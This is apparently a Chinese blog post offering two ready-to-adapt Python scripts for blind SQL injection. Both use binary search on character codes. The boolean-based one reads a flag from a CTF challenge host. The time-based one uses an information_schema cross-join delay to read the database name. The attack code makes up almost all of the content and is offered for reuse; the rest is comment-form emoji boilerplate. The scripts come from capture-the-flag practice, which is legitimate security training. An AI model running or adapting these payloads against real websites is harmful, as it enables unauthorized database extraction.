Binary Search Script for SQL Blind Injection

每次找脚本都花费不少时间,这里存放两个脚本供参考,需要自取修改。

布尔盲注模板:

import requests
import time

url = 'http://aa3f5cdf-f23b-48b0-97f1-ecac497d9e13.node4.buuoj.cn:81/'
flag = ""
proxies = { "http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
true = "Hello, glzjin wants a girlfriend."

for i in range(1, 1000):
    left = 32
    right = 127 - 1
    while left < right:
        mid = int((left + right + 1) / 2)
        data = {
            'id': f'(select(ascii(mid(flag,{i},1))>={mid})from(flag))'
        }
        resp = requests.post(url=url, data=data, proxies=proxies)
        if true in resp.text:
            left = mid
        else:
            right = mid - 1
        time.sleep(0.03)
    if right != 32:
        flag += chr(right)
        print(flag)
    else:
        break

时间盲注模板:

import requests
import time
from datetime import datetime

proxies = { "http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
url = ''
flag = ""

for i in range(1, 1000):
    left = 32
    right = 127 - 1
    while left < right:
        mid = int((left + right + 1) / 2)
        data = {
            'id': f"""1' and ascii(substr(database(),{i},1))>={mid} and (select sum(0) from information_schema.columns A,information_schema.columns B)#"""
        }
        start = int(datetime.now().timestamp() * 1000)
        resp = requests.post(url=url, data=data,proxies=proxies)
        end = int(datetime.now().timestamp() * 1000)
        if end - start > 300:
            left = mid
        else:
            right = mid - 1
        time.sleep(0.03)
    if right != 32:
        flag += chr(right)
        print(flag)
    else:
        break

版权声明:除特殊说明,博客文章均为 Shule 原创,依据 CC BY-SA 4.0 许可证进行授权,转载请附上出处链接及本声明。
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇